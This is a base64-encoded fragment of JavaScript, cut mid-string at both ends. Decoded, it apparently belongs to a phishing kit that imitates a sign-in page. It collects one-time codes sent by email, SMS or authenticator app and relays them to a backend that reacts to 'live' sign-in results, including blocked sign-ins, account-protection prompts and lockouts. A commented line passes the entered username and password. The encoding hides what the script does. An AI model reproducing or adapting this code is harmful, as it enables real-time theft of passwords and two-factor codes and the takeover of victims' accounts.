nXSA9PSAiZW1haWwgb3RwIil7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdHBsaXZlaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICBjaGVja2Vycm9yZGVzYygnb3RwX2xpdmUnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ290cF9saXZlJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdvdHBfbGl2ZScscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9vdHBfbGl2ZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICB2aWV3ID0gIm90cF9saXZlIjsNCiAgICAgICAgdmlld3R5cGUgPSAiZW1haWwiOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInBob25lIG90cCIpew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdHBsaXZlaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICBjaGVja2Vycm9yZGVzYygnb3RwX2xpdmUnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ290cF9saXZlJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdvdHBfbGl2ZScscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9vdHBfbGl2ZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICB2aWV3ID0gIm90cF9saXZlIjsNCiAgICAgICAgdmlld3R5cGUgPSAicGhvbmUiOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIikuc3R5bGUuZGlzcGxheSA9ICJub25lIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgfSk7DQogICAgfQ0KICAgIH0NCg0KICAgIGlmKHZpZXcgPT0gIm90cF9saXZlIil7DQogICAgbGV0IG1ldGhvZCA9IG51bGw7DQogICAgbGV0IGlucHBhc3MgPSBudWxsOw0KICAgIGlmKHZpZXd0eXBlID09ICJlbWFpbCIpew0KICAgIG1ldGhvZCA9ICJFbWFpbE9UUF9MaXZlXzIiOw0KICAgIH0NCiAgICBpZih2aWV3dHlwZSA9PSAicGhvbmUiKXsNCiAgICBtZXRob2QgPSAiT25lV2F5U01TX0xpdmVfMiI7DQogICAgfQ0KICAgIGlmKHZpZXd0eXBlID09ICJvdHAiKXsNCiAgICBtZXRob2QgPSAiUGhvbmVBcHBPVFBfTGl2ZSI7DQogICAgfQ0KICAgIGxldCBvdHBpbnAgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX290cF9saXZlJykudmFsdWU7DQogICAgaWYodmlld3R5cGUgPT0gImVtYWlsIil7DQogICAgaWYob3RwaW5wID09ICIiKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3Jfb3RwX2xpdmUiKS5zdHlsZS5tYXJnaW5Cb3R0b20gPSAiMTRweCI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX290cF9saXZlIikuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX290cF9saXZlIikuaW5uZXJUZXh0ID0gIkVudGVyIHRoZSBjb2RlIHRvIGhlbHAgdXMgdmVyaWZ5IHlvdXIgaWRlbnRpdHkuIjsNCiAgICB9DQogICAgaWYob3RwaW5wICE9PSAiIil7DQogICAgaW5wcGFzcyA9IDE7DQogICAgfQ0KICAgIH0NCg0KICAgIGlmKHZpZXd0eXBlID09ICJwaG9uZSIpew0KICAgIGlmKG90cGlucCA9PSAiIil7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX290cF9saXZlIikuc3R5bGUubWFyZ2luQm90dG9tID0gIjE0cHgiOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9vdHBfbGl2ZSIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9vdHBfbGl2ZSIpLmlubmVyVGV4dCA9ICJFbnRlciB0aGUgY29kZSB0byBoZWxwIHVzIHZlcmlmeSB5b3VyIGlkZW50aXR5LiI7DQogICAgfQ0KICAgIGlmKG90cGlucCAhPT0gIiIpew0KICAgIGlucHBhc3MgPSAxOw0KICAgIH0NCiAgICB9DQoNCiAgICBpZih2aWV3dHlwZSA9PSAib3RwIil7DQogICAgaWYob3RwaW5wID09ICIiKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3Jfb3RwX2xpdmUiKS5zdHlsZS5tYXJnaW5Cb3R0b20gPSAiMTRweCI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX290cF9saXZlIikuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX290cF9saXZlIikuaW5uZXJUZXh0ID0gIkVudGVyIHRoZSBjb2RlIHRvIGhlbHAgdXMgdmVyaWZ5IHlvdXIgaWRlbnRpdHkuIjsNCiAgICB9DQogICAgaWYob3RwaW5wICE9PSAiIil7DQogICAgaW5wcGFzcyA9IDE7DQogICAgfQ0KICAgIH0NCg0KICAgIGlmKGlucHBhc3MgPT0gMSl7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX290cF9saXZlIikuc3R5bGUuZGlzcGxheSA9ICJub25lIjsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3Jfb3RwX2xpdmUiKS5pbm5lclRleHQgPSAiIjsNCiAgICBsb2FkaW5nYW5pbWF0aW9uKDApOw0KICAgIHNlbmRBbmRSZWNlaXZlKCd0d29mYXNlbGVjdGVkJywgW21ldGhvZCxvdHBpbnBdLDEpDQogICAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10gIT09ICJ3YWl0aW5nIGZvciBwcmV2aW91cyByZXF1ZXN0IHRvIGNvbXBsZXRlIikgew0KICAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgICAvLyBsaXZlIHN0dWZmDQogICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJzaWduaW5ibG9ja2VkIGxpdmUiKXsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNpZ25pbl9ibG9ja2VkX2xpdmVfZW1haWwiKS5pbm5lclRleHQgPSByZXNwb25zZVsnZW1haWwnXTsNCiAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ3NpZ25pbl9ibG9ja2VkX2xpdmUnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICBjaGVja2Vycm9yZGVzYygnc2lnbmluX2Jsb2NrZWRfcmVhc29uJywyLHJlc3BvbnNlWydyZWFzb24nXSk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3NpZ25pbl9ibG9ja2VkX2xpdmUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgdmlldyA9ICJzaWduaW5fYmxvY2tlZF9saXZlIjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAicHJvdGVjdGFjY291bnQgbGl2ZSIpew0KICAgICAgICBjaGVja2Vycm9yZGVzYygncHJvdGVjdF9hY2NvdW50X2xpdmUnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wcm90ZWN0X2FjY291bnRfbGl2ZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICB2aWV3ID0gInByb3RlY3RfYWNjb3VudF9saXZlIjsNCiAgICAgICAgfQ0KICAgICAgICAvLyBsaXZlIHN0dWZmDQogICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJ2YWxpZCBlbWFpbCBvdHAiIHx8IHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInZhbGlkIHBob25lIG90cCIgfHwgcmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAidmFsaWQgcGhvbmUgYXBwIG90cCIpew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3RwZGVzYyIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9vdHBfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICB2aWV3ID0gImZpbmFsIjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiZXJyb3IgbGl2ZSIpew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3Jfb3RwX2xpdmUiKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ290cF9saXZlJywxLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdvdHBfbGl2ZScscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgY2hhbmdlYmFja2J1dHRvbignb3RwX2xpdmUnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICB9DQogICAgfQ0KICB9KTsNCiAgICB9DQogICAgfQ0KDQogICAgfQ0KICAgIC8vIGxpdmUgc3R1ZmYNCg0KICAgIGNvbnN0IGNvbmZpcm1idG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnRuX2NvbmZpcm1lbWFpbCcpOw0KDQogICAgY29uZmlybWJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsICgpID0+IHsNCiAgICBjb25zdCBjb25maXJtZW1haWxpbnAgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX2NvbmZpcm1lbWFpbCcpOw0KICAgIGxvYWRpbmdhbmltYXRpb24oMCk7DQogICAgc2VuZEFuZFJlY2VpdmUoJ2NvbmZpcm1lbWFpbCcsIFtjb25maXJtZW1haWxpbnAudmFsdWVdLDEpDQogICAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10gIT09ICJ3YWl0aW5nIGZvciBwcmV2aW91cyByZXF1ZXN0IHRvIGNvbXBsZXRlIikgew0KICAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAib3RwIHNlbnQiKXsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3ZlcmlmeWVtYWlsIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdHBpbWciKS5zZXRBdHRyaWJ1dGUoInNyYyIsIHJlc3BvbnNlWydpbWFnZV9zcmMnXSk7DQogICAgICAgIGNoZWNrZXJyb3JkZXNjKCdvdHAnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ290cCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgY2hhbmdlYmFja2J1dHRvbignb3RwJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fY29uZmlybWVtYWlsIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX290cCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICB2aWV3ID0gIm90cCI7DQogICAgICAgIH0NCiAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImlmIG90cCBzZW50Iil7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl92ZXJpZnllbWFpbCIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3RwaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICBjaGVja2Vycm9yZGVzYygnb3RwJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdvdHAnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ290cCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX2NvbmZpcm1lbWFpbCIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9vdHAnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgdmlldyA9ICJvdHAiOw0KICAgICAgICB9DQogICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJvdHAgc2VudCBlcnJvciIpew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdmVyaWZ5ZW1haWwiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm90cGltZyIpLnNldEF0dHJpYnV0ZSgic3JjIiwgcmVzcG9uc2VbJ2ltYWdlX3NyYyddKTsNCiAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ290cCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgIH0NCiAgICAgICAgLy8gZXJyb3JzDQogICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJlcnJvciIpew0KICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3ZlcmlmeWVtYWlsJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCd2ZXJpZnllbWFpbCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgIGNoZWNrZXJyb3JkZXNjKCd2ZXJpZnllbWFpbCcsMSxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgIH0NCiAgICB9DQogICAgfSkNCiAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgIGxvYWRpbmdhbmltYXRpb24oMSk7DQogICAgY29uc29sZS5lcnJvcignRXJyb3I6JywgZXJyb3IpOw0KICAgIH0pOw0KICAgIH0pDQoNCiAgICBjb25zdCB2ZXJpZnlvdHBidG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnRuX3ZlcmlmeW90cCcpOw0KDQogICAgdmVyaWZ5b3RwYnRuLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKCkgPT4gew0KICAgIGNvbnN0IG90cGlucCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfb3RwY29kZScpOw0KICAgIGxvYWRpbmdhbmltYXRpb24oMCk7DQogICAgbGV0IG90cG1ldGhvZCA9IDA7DQogICAgaWYob3RwdHlwZSA9PSAxKXsNCiAgICBvdHBtZXRob2QgPSAiUGhvbmVBcHBPVFAiOw0KICAgIH0NCiAgICBpZihvdHB0eXBlID09IDIpew0KICAgIG90cG1ldGhvZCA9ICJPbmVXYXlTTVMiOw0KICAgIH0NCiAgICBpZihvdHB0eXBlID09IDMpew0KICAgIG90cG1ldGhvZCA9ICJPbmVXYXlWb2ljZU1vYmlsZU9UUCI7DQogICAgfQ0KICAgIGlmKG90cGlucC52YWx1ZSA9PSAiIil7DQogICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3RwZGVzYyIpLmlubmVyVGV4dCA9ICJFbnRlciB0aGUgY29kZSB0byBoZWxwIHVzIHZlcmlmeSB5b3VyIGlkZW50aXR5LiI7DQogICAgfQ0KICAgIGlmKG90cGlucC52YWx1ZSAhPT0gIiIpew0KICAgIHNlbmRBbmRSZWNlaXZlKCd0d29mYXNlbGVjdGVkJywgW290cG1ldGhvZCxvdHBpbnAudmFsdWVdLDEpDQogICAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXSAhPT0gIndhaXRpbmcgZm9yIHByZXZpb3VzIHJlcXVlc3QgdG8gY29tcGxldGUiKSB7DQogICAgICAgIGxvYWRpbmdhbmltYXRpb24oMSk7DQogICAgICAgIGNvbnNvbGUubG9nKHJlc3BvbnNlWydtZXNzYWdlJ10pOw0KICAgICAgICAvLyBsaXZlIHN0dWZmDQogICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJzaWduaW5ibG9ja2VkIGxpdmUiKXsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNpZ25pbl9ibG9ja2VkX2xpdmVfZW1haWwiKS5pbm5lclRleHQgPSByZXNwb25zZVsnZW1haWwnXTsNCiAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ3NpZ25pbl9ibG9ja2VkX2xpdmUnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICBjaGVja2Vycm9yZGVzYygnc2lnbmluX2Jsb2NrZWRfcmVhc29uJywyLHJlc3BvbnNlWydyZWFzb24nXSk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3NpZ25pbl9ibG9ja2VkX2xpdmUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgdmlldyA9ICJzaWduaW5fYmxvY2tlZF9saXZlIjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAicHJvdGVjdGFjY291bnQgbGl2ZSIpew0KICAgICAgICBjaGVja2Vycm9yZGVzYygncHJvdGVjdF9hY2NvdW50X2xpdmUnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wcm90ZWN0X2FjY291bnRfbGl2ZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICB2aWV3ID0gInByb3RlY3RfYWNjb3VudF9saXZlIjsNCiAgICAgICAgfQ0KICAgICAgICAvLyBsaXZlIHN0dWZmDQogICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJlcnJvciIpew0KICAgICAgICBjb25zb2xlLmxvZyhyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIm1vcmUgaW5mbyByZXF1aXJlZCIpew0KICAgICAgICBtb3JlaW5mb3JlcSgpOw0KICAgICAgICB9DQogICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJkdXBsaWNhdGUgcmVxdWVzdCIpew0KICAgICAgICB3YWl0MmZhY2FuY2VsID0gMTsNCiAgICAgICAgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLmNsYXNzTGlzdC5jb250YWlucygnZC1ub25lJykpew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignLnRpdGxlJykuaW5uZXJUZXh0ID0gIlRvbyBtYW55IEF0dGVtcHRzIjsNCiAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoJy5sb2FkaW5nLWNvbnRhaW5lcicpLmNsYXNzTGlzdC5yZW1vdmUoJ2xvYWRpbmcnKTsNCiAgICAgICAgcnVuYW5pbWF0aW9uKDIsdmlldywwLjUsMCk7DQogICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJyN0cnlhZ2FpbmhlYWRlcicpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignI3RyeWFnYWluX3Rvb21hbnlhdHRlbXB0cycpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJ3Nob3ctZnJvbS1yaWdodCAwLjVzJzsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICB2aWV3ID0gInRyeWFnYWlubGF0ZXIiOw0KICAgICAgICB9LCAyMDApOw0KICAgICAgICB9LCA1MDApOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInZhbGlkIG90cCIpew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3RwZGVzYyIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9vdHAiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fZmluYWwnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgdmlldyA9ICJmaW5hbCI7DQogICAgICAgIC8vIHNlbmRpbmZvKHVuYW1lSW5wLnZhbHVlLHB3ZElucC52YWx1ZSwxKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiZXJyb3IiICYmIHJlc3BvbnNlWydkZXNjcmlwdGlvbiddICE9ICJUaGUgd3JvbmcgY29kZSB3YXMgZW50ZXJlZC4gU2VuZCB5b3Vyc2VsZiBhIG5ldyBjb2RlIGFuZCB0cnkgYWdhaW4uIil7DQogICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnb3RwJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdvdHAnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICBjaGVja2Vycm9yZGVzYygnb3RwJywxLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF9vdHBjb2RlJykudmFsdWUgPSAiIjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiZXJyb3IiICYmIHJlc3BvbnNlWydkZXNjcmlwdGlvbiddID09ICJUaGUgd3JvbmcgY29kZSB3YXMgZW50ZXJlZC4gU2VuZCB5b3Vyc2VsZiBhIG5ldyBjb2RlIGFuZCB0cnkgYWdhaW4uIil7DQogICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnMmZhJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKTsNCiAgICAgICAgY2hhbmdlYmFja2J1dHRvbignMmZhJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF9vdHBjb2RlJykudmFsdWUgPSAiIjsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX290cCIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9vdHAiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fMmZhJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIH0pDQogICAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsNCiAgICAgIH0pOw0KICAgICAgfQ0KICAgIH0pDQoNCiAgICBmdW5jdGlvbiB2YWxhY3Rpb24oaWQsdHlwZXZhbCx0eXBlLHRleHQpIHsNCiAgICAgICAgICAgIGlmICghdHlwZSkgew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5pbm5lclRleHQgPSB0ZXh0Ow0KICAgICAgICAgICAgICAgIGlmKHR5cGV2YWwpIHsNCiAgICAgICAgICAgICAgICBwd2RJb